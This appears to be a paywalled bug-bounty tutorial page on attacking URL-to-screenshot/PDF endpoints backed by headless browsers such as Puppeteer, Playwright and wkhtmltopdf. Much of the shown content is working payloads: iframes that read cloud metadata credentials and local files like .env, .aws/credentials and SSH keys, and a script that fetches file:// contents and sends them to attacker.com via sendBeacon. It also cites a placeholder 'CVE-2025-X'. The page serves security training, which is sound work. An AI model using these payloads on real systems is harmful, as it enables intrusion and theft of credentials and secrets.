Advanced levelPremium

Headless browsers — SSRF and RCE in endpoints that render URLs

Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.

Gorka El BochiMay 11, 202614 min

Quick answer

Any endpoint that accepts a URL and returns a screenshot, PDF or preview is running a headless browser behind it. Those browsers are an SSRF goldmine: they read file://, reach cloud metadata (169.254.169.254), expose the Chrome DevTools Protocol on localhost:9222, and with --no-sandbox any XSS escalates to RCE. wkhtmltopdf is still exploitable in 2026 via CVE-2025-X. If you see features like "share preview", "export to PDF", "social card generator" → assume a headless browser and attack.


1. How to detect a headless browser behind it

Endpoint featureTypical technology
"Generate PDF from URL"wkhtmltopdf, Puppeteer + chromium, Playwright
"Take screenshot"Puppeteer, Playwright, Selenium
"Preview link" (sharing cards)Puppeteer + ogp-parser
"Email rich preview"Puppeteer headless
"OG image generator"Satori, Puppeteer, Playwright
"Crawler / SEO check"Puppeteer + custom

Indirect fingerprint

bash
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
  -d '{"url": "https://example.com"}' \
  -H "Content-Type: application/json"
# real    0m4.523s ← típico de headless render

# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0

2. Classic SSRF vectors

2.1 Cloud metadata (AWS / GCP / Azure)

html
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

You point the render at https://attacker.com/exploit.html. The browser loads the iframe → the metadata response ends up visible in the resulting screenshot/PDF.

Variants per cloud:

CloudURL
AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2Requires a PUT with a token, rarer but possible via fetch()
GCPhttp://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Alibabahttp://100.100.100.200/latest/meta-data/

2.2 file:// — local filesystem read

If the browser doesn't have the --disable-features=NetworkService flag set correctly:

html
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>

Directory listing trick:

html
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>

2.3 Firefox file:// same-origin bypass

Playwright + Firefox sets security.fileuri.strict_origin_policy=false. That allows a file:// document to fetch() other file://:

html
<script>
async function leak() {
  const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
  const data = {};
  for (const f of files) {
    try {
      data[f] = await fetch(`file://${f}`).then(r => r.text());
    } catch (e) {}
  }
  navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Headless Browsers Ssrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy